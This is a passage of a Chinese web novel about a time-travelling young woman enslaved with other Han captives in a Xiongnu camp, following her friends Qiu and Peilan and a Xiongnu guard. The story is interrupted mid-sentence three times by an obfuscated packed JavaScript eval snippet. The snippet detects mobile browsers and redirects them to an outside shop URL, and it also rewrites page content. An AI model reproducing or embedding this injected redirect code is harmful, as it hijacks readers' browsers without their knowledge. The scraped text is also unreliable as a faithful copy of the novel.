元朔元年,也就是今年,将军韩安国于关外捉到匈奴人,得消息说匈奴已迁徙远去。当时正当农时,大量兵马屯集渔阳,农耕荒废,韩安国思忖匈奴人远去,强留百姓屯兵,恐怕误了农时,上书请旨裁撤屯兵,让百姓各自耕种。 武帝准奏,解除渔阳屯兵。 不过月余,匈奴两万骑兵大肆入侵汉朝边境,杀死辽西太守,掳掠两千余人。击败渔阳太守,杀千余人。韩安国带守城步兵迎击,所带兵卒千余人拼杀殆尽,恰逢燕王刘定国带兵来救,匈奴人转击雁门,杀掠一千多人而走。 庄翎转过头,看向身边的秋,问道:“我们在哪里被匈奴人抓走?” 秋说:“口口” 说着,她指了指天空南边,手掌上下扇动,做出飞翔的手势,又两手在半空画出一个门的形状。 是雁门。 庄翎知道了。 但如果没有记错,在匈奴人大肆劫掠北方边境之后,汉武帝会派卫青和李息带兵反击。 自己会被解救出去吗? 不!庄翎闭了闭眼,他们被带来了匈奴守卫最森严的王庭,现在汉朝的军队不会如此深入攻击匈奴,她们那天被赶入阴山山脉时追过来的汉军是唯一又可能救得他们的汉朝兵马,匈奴人派人去阻挡这些汉军,她们并没有获救。 她再睁开眼,没有流下眼泪,眼睛却红了一圈。 走着走着,佩兰不知何时将孩子背在后背上,小孩儿趴在她背上昏昏欲睡,佩兰和庄翎一路同来,也知道庄翎只记得自己姓名,不知为何不记得从前的事儿连现在是哪朝哪代都忘了,此时见庄翎眼眶发红,只当她是伤心自己没有过去记忆,说道:“庄姑娘不是一直想知道自己家在哪里?我虽然没见过姑娘父母,但我家本在雁门关开食馆,见过各式各样的人,看姑娘模样倒有些推测。” 庄翎失去过往记忆的事儿,她虽然觉得有些怪异,但汉朝流行各种各样的神仙故事,各个都奇怪得很,普通人真假不分,大家对庄翎失去记忆这回事儿,见怪过一些日子也都习惯了。 庄翎心想各地人的身形长相不大一样,佩兰或许能看出一二,可惜自己不会原主说的话,要不然也能从方言上辨别一二,再加上芯子换了人,气质变成了自己本来的样子,大约也与原主不一样了,可能身上的地域特征只剩下长相身形这两样了,也还是有些希望,问说:“佩兰姐姐,你看我像是哪里人?” 佩兰想想,说道:“雁门关是中原地区和边郡交通往来的要道,常有五方来客,姑娘若不是从中原来,就是关外边郡之人。” 秋在一旁原本竖着耳朵听佩兰分析,听她这般说话,嗤笑一声,说道:“你这不是说废话?人在雁门,又是汉人,自然不是从关内来就是从关外来。” 不妨收秋挤兑,佩兰脸色微红,也说一句玩笑闲话:“那也不一定,说不准是天上掉下来的。” 秋说:“那我就是天上仙女的妹妹,也是神仙中人。” 佩兰道:“这倒是好说,天大地大,不嫌神仙多,也加我一个好了。” 几个新晋神仙相互看了看,见人如见己,虽各自均在妙龄,却都是尘土满面衣衫破烂,以这个模样走上街道往哪一蹲保准能赚两个钱,哪里像什么神仙?几个人你看看我,我看看你,都笑了起来。 玩笑之后,佩兰接着说:“我认真讲,庄姑娘年纪尚小,一般不会出远门,也许是雁门附近县城或是村落的姑娘,来雁门探亲也不怪。而外地过来雁门的人,最多是军士、商人、官吏,这些人都是男子,边关苦寒,这些人未必久留,大多同行不过一二仆从,很少会带家人过来。而庄姑娘也可能是周围郡城的人,雁门居中,雁门之西方有三个郡,最西边是五原、然后是云中和定襄,其中的定襄是从云中郡划出来。而雁门东边有六个郡,相邻的是代郡,然后依次是上谷、渔阳、右北平、辽西、辽东。” 庄翎一直认真听佩兰说话,在对方说话中确定了汉朝边关的郡城排列,北方边关郡县依次是:五原、云中、定襄、雁门、代郡、上谷、渔阳、右北平、辽西、辽东。这些郡县大概在同一水平线上,这条边境线往北是一块空地,接着是阴山山脉,过了阴山就是匈奴了,阴山脚下就是他们来路上走过的草原。 只是,有这么多郡县,是否有哪个是她现在的家乡呢? 佩兰继续说:“庄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17494276|202393||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姑娘会写字、认识一些草药,却不会说官话,据我分析,最有可能的就是大户人家的女奴。” 佩兰的推测听上去逻辑优秀,合情合理,可信度很高。 但庄翎自己知道,她识字写字都是自己来自现代的知识,草药是资讯发达时代在互联网上认识的,不会说官话,是因为她完全没有继承原身的语言系统。 佩兰刚刚推测立足的所有佐证都是虚假的。 也就是说,这番推论没有信任基础,她的身份仍然不能确定。 未等她思虑完毕,一旁的秋努嘴对佩兰“呸”了一声,骂道:“你才是女奴,一辈子都是女奴!亏得我姐姐还帮过你,你竟然咒我姐姐是女奴!忘恩负义的黑心鬼!没良心的坏女子!” 佩兰闻言意识到自己说的话不合适,脸色刷地红了一大片,窘迫对庄翎致歉:“庄姑娘恕罪,是我失言,对不起您。” 庄翎拉住身边的秋,制止她继续骂人,对佩兰说道:“不要紧,方才你的话也不无一些道理,我听方才你言语之间对雁门附近边关十分熟悉,佩兰姐姐怎么了解这么多?” 要知道古代的人出村子的都很少,许多人都不知道自己临近郡县名字,像佩兰这样能够一口气数出附近十几个郡县,也是十分难得了,不可小觑。 佩兰见庄翎不怪罪自己心里松了口气,得了这个台阶,忙说道:“我夫家在雁门开设食馆,平常接待些南来北往的客人和军汉过来,我在店里帮着送饭菜,经常听人提起附近的情况,时间久了也就记下了。” 几人又走了一会儿,佩兰脸皮薄,刚才遭了秋的斥责,到底心下尴尬,便想要寻个借口早些离开。 道:“今天有一只母羊要下羔,我得去看着,先走了,改日再来看望两位姑娘。” 本来这会儿时间也不早了,几人相互约定过几日再见,也就相互告别分开了。 佩兰往南去,一会儿走远了,秋忽然正色对庄翎说道:“姐姐,你别相信佩兰的话,你一定不是奴婢。” 庄翎看着秋笃定的表情有些意外,连她自己都没办法确定现在的自己有没有做过奴隶,秋怎么会这样确定。 秋见庄翎不信,伸手抓过庄翎的手,打开她自然弯曲的掌心,低头看去,结痂的伤口受力微微裂开,这会儿光线昏暗,其实看不大清楚,庄翎奇怪秋的行为,见她看得好像很认真,不知道她能看出什么。 秋看了一会儿,赞叹道:“姐姐的手纤细漂亮、柔嫩洁白,没有任何伤口,指甲像是贝壳一样漂亮,这双手一定没有干过任何杂活,怎么可能是奴隶的手?” 庄翎知道秋说的是他们初见时候自己双手的模样,现在她的手有许多裂口、茧子、结痂、溃烂、倒刺、指甲边缘也都是断裂的边缘。它现在已经完全没有最初的漂亮模样了,因为脆弱柔嫩,那些美好的形态毁灭得极其迅速,眨眼就消失了。 秋也伸出自己一只手,展示在庄翎手旁,即使黄昏光线暗淡,也能看出来,这只手手指短而粗,掌心比一旁庄翎的手掌心稍微宽一些,平常两个人握手,庄翎也能感受到秋掌心有一些韧性的茧子。 秋说:“我从小就父母一起在田地里干活,手心早早就长了许多硬硬的茧子,女奴的手,只会比我的手更加粗糙。” 庄翎微微抬头,看向一旁秋的双眼。 秋激动道:“姐姐,你也许是贵人的女儿!” 8. 第 8 章 秋说,也许自己是贵人的女儿。 庄翎没有什么真实感,她原本是生活在现代的普通人,得益于现代便利的生活条件没吃过太多苦,到了古代,她也不向往贵族阶级的生活。她心想:好一点自己是个乡绅家里的女孩儿,父母有点小钱,所以这个女孩儿长成一副没有吃过太多苦的样子。 但又怎么样呢?流落到这个境地,从前的任何一种生活都不复存在了,就像这双手一样,它过往柔嫩的模样已经消失不见。 往后她也不会有什么不一样,所有人的生活都没有两样。 在这匈奴人的部落里,所有人也只是指代这里的汉人。毕竟,匈奴人不是他们的人,他们也不把他们这些汉人当人。 两人在关于庄翎身世各有一番猜测后,内心各自升短暂的波澜,须臾,又都放下来。毕竟都是过去了,人们本能更在意以后现实的生活。 秋偏头咬唇,她斜眼看半空里佩兰消失的方向,耿耿于怀,若有所思,对庄翎说道:“一只羊才几斤重?照顾羊羔总比搬运草捆轻松多了,还不用走那么远的路。” 话音落下,秋又暗自回想一番,说道:“这些日子佩兰没有和我们一起去草场搬草,真不知道她是怎么做到的!” 庄翎有些意外秋现在的表情和她这番话。 就在庄翎惊讶中,秋嘴巴一扁,忽然哭了起来,她对庄翎说:“我每天夜里胳膊疼、手疼、腿也疼,我好疼啊,我从没有干过这么多的重活,我……我走不动了……我不想再去搬运草捆!” 泪水流下她的脸颊,冲掉一道道灰尘,露出少女白色的肌肤来,她哭得越发难过,就在破旧毡帐之间的空地上蹲下去,不停抹眼泪,流泪渐渐变成嚎啕大哭。 从他们附近经过的人各走各的,没有一个停留下来,在毡帐旁边休憩的人有的往这边看一眼,又瞥过去,像是无聊,有些厌憎,又有些不以为意。 庄翎见秋嚎啕大哭本就心有难过,再见四周人如此漠视,心中更添几分悲哀,也顾不得方才自己心里一点小情绪,她在旁边蹲下身去,抬起手背,轻轻为秋拭泪,说道:“别哭,草场上的草捆不多了,再过一两天就可以运完,再坚持一下。” 秋眼泪被擦掉又流出来,她哭了一会儿就累了,再发不出嚎啕,而这地方日落之后格外荒凉,让人觉得心里毛毛的,有些恐怖。 她吸了口鼻涕,也知道庄翎说的是实话,默了默,说道:“我也想我爹娘了……” 庄翎闻言道:“也许以后还有机会相见……”见人不哭了,她扶着秋一起站起来,说道:“我们该回去了,晚了,巡逻要打人的。” 匈奴人每天晚间在奴隶所住的毡帐之间巡逻,有时候会清点奴隶数目,若是哪个回去迟了,或是跑丢了,轻者挨打,重者被杀死。想到此处,两人都紧张起来,快步回去同住的毡帐,也是幸好,回来的时候不十分晚,还有许多人在毡帐外没进来。 每天早晨,看管他们的匈奴人都会来到营地中间的空地,一手提着黄铜锣,另一手提着一根骨头做成的槌棒,咣咣咣一阵粗暴敲击,毡帐中的奴隶被惊醒,从毡帐里出来,聚集在空地上,然后是吃饭,干活,在这个间隙,这个人会将铜锣丢给看守奴隶营的人,自己将骨锤拿在手里,驱赶汉人去干活。 自那天秋大哭之后,她们又被匈奴人驱赶到草场去搬了一天半的草捆,在第二天下午,匈奴人将他们赶回走,中途的时候,领队的匈奴人将他们带到来到一条小河边,让人们抖掉身上的灰尘草屑,相互摘一摘身上的荆棘与苍耳,再洗干净双手,继续往回走。 大家为此奇怪,但也有些高兴,活干完了,还能顺路清洁一下,虽然秋水很冷,但也不错。 这会儿小河里的水每天早晨都会结一层冰,太阳出来又化开,很是寒凉。 看人们清理得差不多了,匈奴人继续把他们往回赶,路途是大家每天回奴隶营的路,终点却是奴隶营的后面。 往常这里不大起眼,有一片空地,扎着几个棚子,几个毡帐,也很少有人在,大家都不知道这里是做什么的,匈奴人也不许他们靠近。 这一天,那片空地上出现了几个大大的羊毛堆,蓬松的羊毛被堆成一座座小山,小山呈黄白色,一阵风吹过来,羊毛特有的腥膻尿骚味道直直冲入人们的呼吸,大家肠胃一阵翻涌,到底没有吐,院中还有些匈奴女人正将袋子或是箩筐里未经处理的羊毛倒在这些黄白色的小山上。 庄翎也知晓了为什么匈奴人在回来路上让她们摘去身上的草屑苍耳,又洗干净双手。 带队的匈奴人用手里的骨锤指了指这些羊毛小山,说道:“你们就在这里挑羊毛。” 人们各自围着羊毛堆围坐下来,因为身上不适,大多数人坐下时很缓慢,也有人坐下时膝盖双腿一软,像是摔倒下一般一屁股摔落地面——这也是正好方便。 庄翎和秋也坐好在羊毛山旁边,庄翎自然坐下来,秋牵着她的衣袖一起坐下。汉人们都围住羊毛堆坐好。 有个匈奴女人站在一旁,从羊毛山上拿来一捧羊毛,只见她一点点挑去羊毛中的苍耳、草棍、羊屎碎片……挑完她向人们展示了一下干净的羊毛,然后转身离开。 大家也就明白这个活怎么干了。 人们从这一日开始被安排挑羊毛、梳羊毛、洗毡……个中的辛酸苦楚非亲历者不能知晓,也不再一一讲述。 这一天下午,时间近日暮,大家干完活走回奴隶营,准备吃饭。 庄翎和秋一起走到奴隶营,两个人因为连日洗毡腿酸脚疼,走得慢些,将走到营门口,秋忽地停下脚步,对庄翎说:“晚饭我不吃了,去看看佩兰。” 话音才落下,人已经不见了。 这些日子匈奴人对她们的看管已经不像刚开始那么严格了,大家禁止进入匈奴人中心部落,却可以在部落右侧稍稍活动,多少自由一些。 不过,到处都是匈奴人的士兵,有一些本土匈奴人遇见汉人还会辱骂殴打,很少有人愿意在附近散步。 秋回去排队领了一碗汤羹,想了想,她又要了一只木碗,说道:“常和我来的那个女孩儿,我替她取一碗。” 盛粥的匈奴妇女冷冷看了庄翎一眼,还是往那只空碗上又添了一大勺汤。 本来是一个人只能领取一碗,时间久了,分汤的匈奴人对她们熟悉了,有时候也可以稍稍变通一些。 庄翎将汤放在角落,往上蒙了一片落叶,等着秋回来。 心里有些担心,但也看得出来,今天秋是想要自己一个人去找佩兰。 其实能猜到,秋也是不想再干收拾羊毛的活了,庄翎能理解,也不能阻止秋去寻找机会,想到她路上可能遇见匈奴人,不住地担心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17494277|202393||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 而另一边,秋听佩兰说过,羊圈东北角有一间小小的木屋,佩兰就住在这里,羊圈里的母羊生下小羊照顾不过来就叫她拿来小屋中照顾。 秋走近羊圈东北角,站在圈栏外打量,见这木屋做的粗糙简陋,却屋顶、窗户、门一应俱全,好像是汉人家里的房屋。她看着看着,心里起了思乡之情,而这小屋门口还有几只羊,她是农户人家出身,清楚羊这种动物没什么理智,脾气上来能把人顶坏,也不敢贸然接近,就站在外头那么看着这间房屋。 忽然,羊圈里传来几声胡人呼斥声,秋以为是有匈奴人看见自己,在驱赶辱骂,当即吓了一跳,白着脸朝着声音传来方向看去。 只见一个高鼻深目的胡人少年背着佩兰的孩子走来木屋,他身穿左衽毡衣,披散一头半长头发,一边走路一遍呼斥几声,那些围拢在木屋旁边的羊都起身让开门前道路,而佩兰的孩子在这胡人少年背上见了这一幕则是呵呵笑起来。 两个人看上去很熟悉,真不知道佩兰的孩子怎么会和一个匈奴人这样亲切? 秋诧异又不解,面上有些苦恼。 那孩子却已经看见羊圈外面的秋了,小孩子也不看人表情,见了熟人一阵兴奋,叫道:“秋姐姐,你来啦!快来我家!” 那匈奴少年也随着背后孩子招呼方向看去,隔着一道木围栏一对年轻少女相互注视,秋面对这个匈奴人有些怯意,目光自然透露出来,而这少年见对面是个年轻少女,两人各自黑发黑眼区别并不十分大,他愣了愣,客气道:“佩兰姐姐还没回来,你要不要进来等一会儿。” 秋虽有些惶然,还没忘记自己为什么过来,她见这少年将佩兰女儿背在后背,心想这人大约也不是太坏……而她今天若是走了,还不知道哪天能再见到佩兰,她可真是一天也不愿意再多等了!秋自己给自己壮了壮胆气,从羊圈之间的空隙钻进去,跟在少年身后,看他打开木屋,也随他一起进去。 只见屋子靠东有一张小小的木床,上头有一副旧铺盖,而地上有许多干草,干草上趴着一些洁白的小羊羔,刚出生不久的羊羔毛发十分洁白,看起来很可爱。 匈奴少年将身后的孩子放在床铺边沿,秋打量过室内见没有椅凳,也就在床铺边缘坐下。 那少年也不说话,拿了扫把和簸箕清理地上羊羔的粪便,又将羔羊便溺濡湿的干草抱出去扔掉,动作十分利落。 秋坐在床沿看对方忙进忙出,也不知自己该不该动手帮忙,颇有几分紧张。 而一旁小孩儿叫了秋几声姐姐,就困倦了,躺在床铺上,拉过被子盖在身上睡着了。秋也越发坐立难安,可恨佩兰还没回来,她眉头渐渐皱起,想着再等一会儿若还不见人就离开。 不一会儿,那匈奴少年已经将屋里屋收拾得干干净净,房间异味也散去大半,看上去竟然很整洁。 最后,匈奴少年提着水桶木屋,倒水给地上的小羊羔喝,一面蹲在地上饮羊羔一面对秋说话:“我听佩兰姐姐说,她和孩子一路从雁门关过来,受了同行汉人许多照料。” 秋不知道他为什么要问这个,是好奇还是怎么回事儿?紧张之余,她如实点头。 匈奴少年一边给羔羊饮水,一边问道:“你也是和佩兰母女一路来的汉人是不是?” 秋看向匈奴少年,察觉到对方目光友善,她心里一动。 9. 第 9 章 匈奴少年名叫伊都,他听见秋果然是和佩兰一起来的汉人,态度一下子亲切了许多,笑道:“我听佩兰姐姐讲过,她是带着孩子过来的,道路漫长,她背不动孩子,是同行的汉人轮流将这孩子背来部落的。后来这孩子生了病,也是同行的一个女孩儿找来草药,孩子才保住了性命,平安到来部落。” “我听说你们都不太熟?” 秋点点头。 事实上,汉朝的人很多,雁门关是北方通往中原的主要关隘,流动人口非常多,而这座郡城本身是个大城,在这一千多人被匈奴人抓到之前,他们很多人都没见过彼此。 互相认识的人,只是少数。第一个和最后一个帮助佩兰的人她都不认得,而这两个人彼此也不认得,从帮助过佩兰的人中随机询问两个人,他们彼此也大概不认得。 秋天的叶子一片片飘落,同行来的人被分离在不同的地方,有许多人也都无声无息的死掉了,痛苦让时间变得格外漫长,那些来路上曾经发生过的事,对这些还活在匈奴奴隶营中的人来说几乎已经是上辈子的事了。 来都来了,那终究不是一次快乐的旅程,谁能多怀念一点呢?秋也不能。 伊都却很喜欢这个故事,他是游牧民族,常年随着水草迁徙放牧,很喜欢听这些迁徙路上发生的故事,他说:“我们匈奴人每年都会在草原上来回迁徙,我们也带着妻女和孩童,不过我们有许许多多的车,老弱和孩子可以乘车。” 秋只是抿唇看他,这样的话注定是不能讨喜的,但是秋什么也没说,伊都又说道:“我想,假如我们没有车,部族里的男人也会这样带走部落里的孩子。” 秋忍了忍,还是说道:“就算你们没有车,也还有马。” 伊都看秋生气,却笑了笑,说道:“你说的也是,我们还有马匹,如果没有马匹我们还有牛,假如再没有牛,我们还有羊,我们部落里的孩子只要会走路就会骑羊,稍微大一点就能骑牛骑马。” 话语之间伊都为部落的富有感到骄傲,为部族孩童的优秀感到自豪,他看上去很自信。 而身为一个战俘,现在更是匈奴人的奴隶,秋无法反驳伊都,也说不出匈奴孩子骑马或是骑羊有什么不好,虽然他们骑着马践踏了汉人的土地。她本来畏惧伊都,气势始终算不上高昂,此时更加低落几分。 但在这词锋你来我往之中,两个人不知不觉也熟悉了一些,也能很自然地多说两句话了。 伊都说道:“你认识那个帮佩兰姐姐找草药给孩子治病的女孩子吗?” 闻言秋一下子警惕起来,她防备地看着伊都,发现他又露出了方才见到的那种友善的目光,她像是想到了什么,说道:“我认识她,路上是我和她一起给这孩子找的草药,她是个很好的人……”她眼圈憋出泪来,伊都也意识到或许有不好的事情发生,只听秋道:“才来匈奴不久,我们被安排去搬草捆,她……她被累死了,你们的看守让人把她抬走,喂了野狼。” “她现在是尸骨无存了,你还想要认识她吗?”秋含泪看向不远处的伊都。 伊都略作沉默,假如那个女孩子还活着,他知道那是个好人,心里愿意想办法帮帮她,现在知道她已经死了,自然是帮不到她了,因为听见这样一个女孩子去死,心里总归有些怜悯。秋低头小声哭,看起来很伤心,伊都看在眼里,内心不禁生出些许怜悯来,内心本准备向另一个人付出的善意缓缓向面前的女孩儿倾斜。 秋是个与他年龄相当的女孩儿,在匈奴人的印象里汉人的女子总有一种固有的柔弱,而这些汉人女孩儿往往又很含蓄。就是现在,在伊都眼里哭泣着的着秋身上像蒙了一层特殊的光晕,而且伊都知道,汉人的女孩儿不会和陌生男子共处一室。 这一切认知使他对眼前的秋产生了一种奇异的情愫。 秋哭了一会儿,觉得差不多了,抬起头来,对伊都说道:“佩兰还没有回来吗?” 伊都说:“圈里有一只母羊就要生产了,佩兰姐姐在羊圈里守着,可能得很晚才能回来。” 这么说来,今天倒是不方便见到佩兰了,但阴差阳错,秋没有失望,她觉得也许眼前的伊都或许比佩兰更能帮到她。 秋听见伊都的话,面上做出为难的样子。 伊都果然问道:“你来找佩兰是有什么事情吗?或许我能帮到你。” 秋稍作犹豫,说道:“这些日子我们被人安排去洗毡……已经干了好些天,我的手我的腿都好疼,已经干不动了,恐怕出了差错被管事的人打,我想问问佩兰,我能不能和她一起照顾羊羔。” “我从前在家的时候帮爹娘照顾过小羊,也有些经验。” 伊都闻言,略作思索,摇摇头说道:“这恐怕不行,犊牛和羔羊是我们重要的财产,我们习惯亲自照料。佩兰是个例外,是有人听说这次过来的汉人当中有个带孩子的女人,心里可怜,才让佩兰一起照顾羔羊。” 秋闻言有些不高兴,心想自己难道不可怜?伊都又道:“尤其是佩兰带着孩子,大家才能放心将照顾羔羊的事情教给她。” 一个带孩子的女人是不敢不尽心做事的。 秋听到这里,心想就没有办法了吗?心里一阵阵的失望。 伊都说:“我认识部落里的祭祀,他需要人帮忙处理草药,这个活比洗毡轻松,如果你也认得草药,我可以想想办法。” 秋遗憾地摇摇头。 伊都从身上摸出一包随身携带的肉干,打开来给秋吃,对她说:“先吃些东西吧,别太担心,活计的事儿我会给你想办法。” 自从来到匈奴,大家都只能吃奇怪又难吃的汤羹,还吃不饱,这还是秋第一回见到像样的吃食。匈奴人做肉干的肉都是牛肉,在汉朝,牛是珍贵的家畜,普通人家可能一辈子都不会吃一次牛肉,只有贵族吃得起。 面前袋子里的正是牛肉干,秋一口气吃了好几条。 伊都将剩下的牛肉干都交给秋,说道:“我是王庭的守卫,晚上要值夜,就要走了。这些肉干,你带回去慢慢吃。” 袋子里还有十几条风干牛肉干。 尽管知道不太合适,秋还是收下了伊都给的肉干, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17494278|202393||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她说:“我也该回去了。” 离开木屋,秋慢慢走回奴隶营,回去的一路,她都在想遇见伊都之后的事情。 没想到匈奴人当中也有好人,她为这念头冷笑不已,摸摸怀里硬邦邦的牛肉干,她才吃过不久,也还口齿留香,心里对伊都那点少年男子的心思隐约也猜到一些。她本来就是个漂亮女孩儿,在雁门老家的时候,许多同乡的男孩子都说想要娶她。 秋不觉得男孩子喜欢自己奇怪。 现在伊都喜欢她,也没什么不好。 唯有一件事让她愧疚,今天她明明知道伊都问帮忙采药的那个女孩子是庄翎,却说人已经死了。也许伊都知道采药的人是庄翎会想法帮帮庄翎,但假如他情愿帮助庄翎,自己就没法从他那里得到任何好处。 别说怀里的肉干,恐怕他不会有半分注意力放在自己身上,也不会说会想办法帮助自己。 而她认了庄翎做姐姐,这些日子庄翎也没少帮助自己,她还曾救过自己的性命!秋越想越是难受,不免又想到伊都,他说会想办法帮自己,可能也只是随口一句话,实际根本不会帮忙,毕竟现在自己只是个奴隶而已。 可自己却说了这样一个忘恩负义的大谎话!最后得到的不过就是一包牛肉干,这有什么值得的吗?如此想着,她越发感到愧疚。 不一会儿秋走来毡帐附近,正好看见庄翎,只见她怀里抱着一束干草从旁走来,依旧是灰尘满面,她身上衣服在连日的劳作下袖口下摆都已破烂飞边。白天的时候,谁也不会情愿多看这样一个脏兮兮的女孩儿,但这会儿日光隐没,冷月升空,傍晚清冷模糊的光线下只能看清人的轮廓,那些面上的尘埃、衣上的碎线裂口都被夜幕隐藏,此时此刻,庄翎虽然抱了满怀干草,却显出几分难以言喻的清丽来。 秋猛然看见这一幕,吃了一惊,呆在原地,直望着庄翎。 庄翎也正好看见秋,见她回来心里松了口气,想起她大约还没吃饭,自己还留了一碗汤羹,不知秋为何站在原地发呆,她几步走到秋面前,说道:“你总算回来了,晚饭吃了没有?” 听见话语秋回过神来,鼻尖嗅到淡淡干草尘埃气味,这些草又在她怀抱里沙沙作响,声响令人烦躁,再细看抱着干草的庄翎,人哪里还有方才惊见时的清丽?至多也只是端正些罢了,一起生活这段时间秋也知道,庄翎一贯有些莫名的端正认真。 秋对庄翎方才的问话点点头,说:“我吃过了。” 这倒让庄翎有些惊讶,佩兰那里难道有多余的食物吗?既然秋说吃过,大约也是有些,也好,吃过饭就不用喝那碗冷掉的汤羹了。 此时秋悄悄打量四周,见四下无人、夜色静谧,从怀中摸出一块肉干,送到庄翎嘴边,说道:“快吃。” 庄翎闻到淡淡的牛肉味,好像是牛肉干,她咽了咽口水,轻轻推开秋递牛肉干的手。 秋心里着急,小声催促道:“是牛肉干,姐姐快吃!别让人看见。” 庄翎方才闻到气味已觉异常,此时听见果然是牛肉干,问道:“此物是哪里来的?” 10. 第 10 章 听见庄翎的问话,秋心里一慌,收回肉干,攥在手心,去看庄翎表情,夜里看不大清,她心虚不已,讷讷说道:“是佩兰给我的,我也不知道她从哪里来的。” “我问她,她也不肯讲。” 这肉干必定是匈奴人的东西,佩兰有这肉干也不知道是好是坏,而此时秋看上去也是吞吞吐吐,很有些不协调,庄翎心里觉得蹊跷,不禁微微皱眉,她道:“先进去毡帐里面吧。” 秋还在心虚,一直观察着庄翎,见她没有多问,不禁大大松了口气,听见她说要进去毡帐,忙将肉干塞回口袋,为抱着干草的庄翎撩起毡帘。 两人一前一后走向平时睡觉的地方,秋跟在庄翎身后小声问道:“怎么拿了好些干草?是觉得晚上冷了么?” 毡帐里有五六十个人,没有窗子,白日里光线昏暗,入了夜也更黑一些。 今天月亮大,月辉透过毡布的孔隙和破洞洒进来,人模糊能看清帐中地上的人影轮廓,五六十个人东倒西歪囫囵躺在地面,有人枕着干草蜷缩,有人将干草盖在身上仰躺,有人捂着痛处哼唧呻吟着,有人则是一边发抖一边小声“哎呦哎呦”叫唤,还有人在嗬嗬打呼噜。 这样的景象不管看多少次都叫人心生厌恶,还好黑夜看不清这些人此时乱糟糟的样子。秋跟着庄翎往前走,一边等她讲话。 秋天越发冷,毡帐边缘透风,大家都不喜欢,而匈奴人分给奴隶的毡帐也不过是比正常一间屋子稍大一点,人们都躺下的时候没有多余位置,总有人去边缘。庄翎和秋在这些人中算是年纪比较小的,力气没有真正的成年人大,也不像这里的人一样相互熟悉,两人来到匈奴,进来这毡帐没两日,就被这些人排斥到了毡帐西北侧边缘。 现在庄翎就抱着干草带着秋小心从地上躺着的人们的缝隙之间穿行,往西北角休息的位置走去,平时那里有一堆干草,是她和秋睡觉的地方。 听秋问起干草,庄翎道:“以前用的弄湿了,换一些新的来。” 二人已经走到了毡帐西北边缘,秋看过去只见她们往日睡觉的地方所有的干草的确不见了,也许是被庄翎收拾扔掉了。但旁边那个人身下却垫着一层很厚的干草,身上也盖着一层格外厚的干草,这人正在睡觉,显然那些格外多出来的干草是从她们这里拿的,秋看见了气不打一处来。 庄翎什么也没再多说,她将新抱来的草放下,跪坐下来一点点铺草,试着整理出一个新床铺来。毡帐里只有这么一个小小的空间,也只有这么一点干草,人们连日劳累,休息也来不及,有时候觉得不够用了,也不愿意跑出去再去弄些干草来,就直接顺手拿别人的。 今天吃过晚饭,她在外面等了秋一会儿,不见人回来,放好汤羹就回来毡帐看了看,见铺位上的干草没了,就转去附近找了些干草回来,回来时候也正好遇见秋回来。 秋生了一会儿气,情绪总也平复不下,见庄翎不言不语,只是跪坐着仔细铺设床铺,她也跪坐下来一起铺干草。 铺好床铺,两个人在铺位上躺下来,庄翎睡在挨着毡帐边缘的一侧,秋挨在一旁,还是习惯紧紧靠着她。这里的毡帐本身不厚,不十分挡风,而她们躺着的位置正有一些大大小小的破洞,有老鼠咬的,也有虫子咬的,大一点的孔洞□□草塞住,小一些也就那样了。夜风将毡帐吹得来回鼓动,风从大大小小的孔洞吹到室内,正是外头刮大风里头刮小风,只是这会儿风还不厉害,只是冷一些而已,秋和庄翎两个挨着毡帐边缘,直在风口,又更冷一些。 秋还是在生气,她问庄翎:“我们的草是被人拿走了,是不是?” 是不是又怎样呢?庄翎没有回答这个问题,也没有编更多精细的谎话,她低声问:“佩兰和孩子还好么?” 秋今天没见过佩兰,但她已经说牛肉干是佩兰给的了,现在听庄翎问起佩兰好不好,她只得再说谎话,迟疑一下,说道:“他们都还好。” 集体环境里没有隐私,不好打扰帐篷里的人,庄翎也没问更多,只点点头,闭上眼睛准备休息。 冷风吹在头顶,人在冷风里总是容易被吹得头痛,也没什么办法。这些天里其实也有一件好事,自从不再搬运草捆,被匈奴人安排去整理羊毛和洗毡,庄翎背后的鞭伤不知何时渐渐好了。 过了这天夜晚,庄翎在第二天早晨吃饭之前去找昨天藏在营帐外面的汤羹。只见汤羹里的固体食物经过一夜的浸泡肿胀糊化,羹汤表面淹死着死着几只蚂蚁和小黑虫。她将冷掉的汤羹倒掉,吃过饭后,将这只木碗和自己吃过的碗一起还回去。 后来趁着四周没人的时候,秋又拿出牛肉干给过庄翎两次,庄翎都没有吃。后来秋见庄翎似乎对这牛肉干有什么疑惑,她心虚得厉害,不敢再将牛肉干拿给庄翎看见,自己找到没有人看到的地方,偷偷将剩下的牛肉干都快快吃掉了。 